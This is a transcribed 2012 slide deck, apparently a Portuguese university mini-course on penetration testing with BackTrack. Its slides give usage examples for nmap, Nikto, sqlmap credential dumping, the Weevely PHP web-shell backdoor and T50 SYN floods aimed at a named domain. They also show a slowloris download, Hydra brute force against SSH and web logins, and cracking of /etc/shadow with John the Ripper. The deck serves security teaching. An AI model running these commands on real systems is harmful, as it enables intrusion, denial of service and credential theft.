mini curso - pen test - univem

34
Mini Curso: Mini Curso: Pen test com Pen test com Backtrack Backtrack Evandro Villa Verde Evandro Villa Verde

Upload: evandrovv

Post on 04-Dec-2014

4.500 views

Category:

Technology


8 download

DESCRIPTION

Mini curso sobre pen test - apresentado na univem 2012

TRANSCRIPT

Page 1: Mini Curso - Pen Test - Univem

Mini Curso:Mini Curso:Pen test com Pen test com BacktrackBacktrackEvandro Villa VerdeEvandro Villa Verde

Page 2: Mini Curso - Pen Test - Univem

Objetivo:

Fornecer ao aluno uma visão geral sobre testes de invasão

Entender a anatomia e os tipos diferentes de ataques

Conhecer as fases de um teste de invasão

Conhecer as metodologias e os apectos legais

Page 3: Mini Curso - Pen Test - Univem

Visão:

O Teste de Invasão é um processo de

análise detalhada do nível de

segurança de um sistema ou rede

usando a perspectiva de um infrator.

O objetivo principal é simular de forma

controlada um ataque real que

normalmente é executado por criminosos.

Page 4: Mini Curso - Pen Test - Univem

Fases:

Os procedimentos realizados por um profissional

de teste de intrusão é similar aos realizados

pelos crackers, diferindo na intenção do ataque.

1. Levantamento de informações (nome,telefone,endereço)

2. Varredura (s.o,rede,serviços,firewall)

3. Ganhar acesso (brute force,trafego,web,vulnerabilidade)

4. Manter acesso (backdoor e rootkits)

5. Apagar rastro

Page 5: Mini Curso - Pen Test - Univem

Backtrack:

Backtrack é um sistema operacional linux baseado no Ubuntu.

É focado em testes de seguranças e testes de penetração (pen tests), muito apreciada por hackers e analistas de segurança, podendo ser iniciado diretamente pelo CD (sem necessidade de instalar em disco), mídia removível (pendrive), máquinas virtuais ou direto no disco rígido.

Fonte: http://pt.wikipedia.org/wiki/BackTrack

Page 6: Mini Curso - Pen Test - Univem

Backtrack:

Ele é a fusão de duas distribuições que eram bem conhecidas na época:

- Whax e Auditor Security Collection

Eleito em 2006 como a Distribuição Live de Segurança número 1º em sua categoria

O BT possui mais de 300 ferramentas, que vão desde teste de intrusão até Analise Forense Digital.

Versão atual é BackTrack 5 R3 Released! Aug 13, 2012

Page 7: Mini Curso - Pen Test - Univem

Problema:

BackTrack e os Drivers para Wifi e vídeo.

Ubuntu desatualizado

Page 8: Mini Curso - Pen Test - Univem

Nmap:

Nmap é um software livre que realiza port scan desenvolvido pelo Gordon Lyon, autoproclamado hacker "Fyodor.

Realiza varredura de rede, buscando hosts ativos, portas abertas e serviços sendo executados.

Page 9: Mini Curso - Pen Test - Univem

Nmap:

-sP Ping scan: Algumas vezes é necessário saber se um

determinado host ou rede estáno ar. Nmap pode enviar pacotes ICMP “echo request” para

verificar sedeterminado host ou rede está ativa. Hoje em dia, existem muitos filtros

querejeitam os pacotes ICMP “echo request”, então envia um pacote TCP ACK paraa porta 80

(default) e caso receba RST o alvo está ativo. A terceira técnica enviaum pacote SYN e

espera um RST ou SYN-ACK. Nmap –sP 192.168.1.254 Nmap –sP 192.168.1.0/24

Page 10: Mini Curso - Pen Test - Univem

Nmap:

TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, aporta está aberta, enquanto um como resposta indica que a porta está fechada.

A vantagem dessa abordagem é que poucos irão detectar esse scanning de portas.

Nmap –sS 192.168.1.254 Nmap –sS 192.168.1.0/24

Page 11: Mini Curso - Pen Test - Univem

Nmap:

-sT TCP connect() scan: É a técnica mais básica de

TCP scanning. É utilizada a chamada de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso a porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos, porém fácil de ser detectado

Nmap –sT 192.168.1.254 Nmap –sT 192.168.1.0/24

Page 12: Mini Curso - Pen Test - Univem

Nmap:

-sU UDP scan: Este método é utilizado para determinar

qual porta UDP está aberta em um host. A técnica consiste em enviar um pacote UDP de 0 byte para cada portado host.

Se for recebido uma mensagem ICMP “port unreachable” então a porta está fechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida.

Nmap –sU 192.168.1.254

Page 13: Mini Curso - Pen Test - Univem

Nmap:

-O Ativa a identificação do host remoto via TCP/IP. Irá

apresentar versão do Sistema Operacional e tempo ativo. Ex.: nmap -O alvo

-v Modo verbose. Mostra tudo o que está se

passando. Ex.: nmap -v alvo

Page 14: Mini Curso - Pen Test - Univem

Nmap:

-F Procura pelas portas que estão no /etc/services.

Método mais rápido, porém não procurar por todas as portas.

Ex.: nmap -F alvo

-P0 Não tenta pingar o host antes de iniciar a

varredura. Isto permite varrer alvos que bloqueiam ICMP “echo request (ou responses)” através de firewall.

Ex.: nmap -P0 alvo

Page 15: Mini Curso - Pen Test - Univem

Xprobe2:

Xprobe2 analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a versão do mesmo.

Exemplo:

xprobe2 [host-name] xprobe2 <ip>

Page 16: Mini Curso - Pen Test - Univem

Nikto :

Nikto é um script Perl usado para testar a segurança de seu servidor web. Ele

faz a varredura em servidores Apache tanto em busca de vulnerabilidades, quanto de falhas de configuração.

Para atualizar e executar o Nikto, utilizamos os seguintes comandos:

  # ./nikto.pl -update # ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt

Page 17: Mini Curso - Pen Test - Univem

SQL Map:

Local: /pentest/database/sqlmap

String: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" – [opções]

Page 18: Mini Curso - Pen Test - Univem

SQL Map :

“Sqlmap é uma ferramenta open source para penetration test que automatiza o processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita em python e tem suporte tanto GNU linux ou windows.”

O sqlmap além de oferecer as funções para detectar e explorar as vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de banco de dados se for possivel.

Page 19: Mini Curso - Pen Test - Univem

SQL Map :

--help Mostra as opções do SQLMAP --current-db Apresenta o banco de dados atual Exemplo: ./sqlmap.py --

url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db

--banner Pega o Banner do DBMS Exemplo: ./sqlmap.py --url

"http://testphp.vulnweb.com/listproducts.php?cat=1" -b --dbs Lista os bancos de dados do DBMS Exemplo: ./sqlmap.py --

url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

Page 20: Mini Curso - Pen Test - Univem

SQL Map :

--tables Apresenta as tabelas do banco selecionado Exemplo:

./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"

-D acuart --tables --columns Apresenta as colunas da tabela selecionada Exemplo: ./sqlmap.py --url

"http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --dump Extrai as informações da colunas selecionadas Exemplo:

./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"

-D acuart -T users -C 'uname,pass' --dump

Page 21: Mini Curso - Pen Test - Univem

SQL Map : --current-user Apresenta o usuário ao qual a página está usando para se

conectar ao banco Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-user

--is-dba Verifica se o usuário atual é administrador do Banco Exemplo: ./sqlmap.py --url

"http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --users Enumera todos os usuários Exemplo: ./sqlmap.py --url

"http://testphp.vulnweb.com/listproducts.php?cat=1" --users --search Varre o banco atrás do que você procura, pode ser um banco,

tabela ou coluna Exemplo: ./sqlmap.py --url

"http://testphp.vulnweb.com/listproducts.php?cat=1" --search –C ‘pass’

Page 22: Mini Curso - Pen Test - Univem

SQL Map :

--user-agent Altera o nome do user Agent durante o ataque Exemplo:

./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1"

--user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

--level=1-5 Seta o nível de performance que ele irá utilizar para efetuar

a varredura --risk=1-3 Seta o nível de risco de performance que o sqlmap efetuará

para a varredura

Page 23: Mini Curso - Pen Test - Univem

Weevely:

Local: /pentest/backdoors/web/weevely

String: ./weevely <url> <password> <command>

Page 24: Mini Curso - Pen Test - Univem

Weevely:

Weevely é um backdoor PHP discreto que simula uma conexão telnet. É uma ferramenta essencial para ser injetada após a exploração de uma vulnerabilidade de uma aplicação web. Com uma permissão básica para fazer upload de arquivos PHP, você só precisa gerar e fazer o upload do código do "servidor" PHP no alvo, e executado localmente o Weevely transmiti comandos de shell.

Page 25: Mini Curso - Pen Test - Univem

Weevely:

Uso: Gerando o Backdoor: ./weevely generate teste/tmp/back.php # Cria um backdoor com a senha eSecurity na

pasta /tmp

./weevely http://www.sitevul.com/back.php teste # Acessa a shell utilizando a senha teste

Page 26: Mini Curso - Pen Test - Univem

DoS:

T50 ferramenta de desenvolvida por um brasileiro, Nelson Brito, capaz de fazer ataques DoS e DDoS usando o conceito de stress testing:

# ./t50 www.ofm.com.br --flood --turbo --dport 80 -S --protocol ICMP

./t50 192.168.1.105 --flood --turbo --dport 80 -S –protocol 

--flood --turbo (Aumenta a performance) -S (envia a flag SYN)

Page 27: Mini Curso - Pen Test - Univem

DoS:

Slowloris: Atacandos velhos apaches  # wget

http://ha.ckers.org/slowloris/slowloris.pl # chmod 777 slowloris.pl

Ele funciona enviando, atraves de um processo multi-thread, varias requisições parciais ao servidor Web alvo

Page 28: Mini Curso - Pen Test - Univem

Hydra:

THC-Hydra (Last update 2012-05-23)

String: hydra –L <login> -P <passwd> <ip> <serv>

Page 29: Mini Curso - Pen Test - Univem

Hydra:

# hydra –l root -p toor –t 12 127.0.0.1 ssh

Ele irá efetuar um bruteforce com usuário root com a senha toor com 12 threads no loopback na porta SSH

# hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh

Ele irá efetuar um bruteforce com usuário root com a senha buscando na wordlist.txt com

hydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha incorretos"

Page 30: Mini Curso - Pen Test - Univem

Passwd:

O arquivo /etc/passwd contém informações sobre todos os usuários, inclusive as suas senhas criptografadas. Ele é legível por todos os usuários e, por isso, estas senhas podem ser facilmente crackeadas. Para combater esta vulnerabilidade foi desenvolvido o sistema de sombreamento de senhas, os shadows passwords.

Quando o sistema de sombreamento de senhas está disponível, o campo password do arquivo /etc/passwd é substituído por um "x" e o password do usuário é armazenado no arquivo /etc/shadow. Por esta razão o /etc/shadow é legível somente pelo usuário root. Desta maneira o arquivo /etc/shadow dificulta a ação de crackers.

Page 31: Mini Curso - Pen Test - Univem

John :

Local: /pentest/passwords/john

String: ./john arquivo.db

Page 32: Mini Curso - Pen Test - Univem

John : John the Ripper é um software para quebra de

senhas. Inicialmente desenvolvido para sistemas unix-like, corre agora em vários sistemas operativos (como DOS, Windows, Linux, BSD). Disponível em versão livre e paga, o John the Ripper é capaz fazer força bruta em senhas cifradas em DES, MD4 e MD5 entre outras

Dicionário (Wordlist): sendo o modo mais simples.

Quebra Simples (Single Crack): mais indicado para início de uma quebra e mais rápido que o wordlist

Page 33: Mini Curso - Pen Test - Univem

John :

Ferramenta: Unshadow

Utilizada para unir os arquivos passwd e shadow para posteriormente ser quebrada pelo John the Ripper

Exemplo: ./unshadow /etc/passwd /etc/shadow >> hash.db

Agora quebramos usando: ./john hash.db

Page 34: Mini Curso - Pen Test - Univem

John :

./john senhas.txt # O modo mais simples de se usar o John é especificar o arquivo que tem as senhas e usuário e deixar ele fazer tudo

automaticamente. Ele irá começar com o modo single crack, depois irá passar para o modo wordlist e finalmente irá passar para o modo incremental.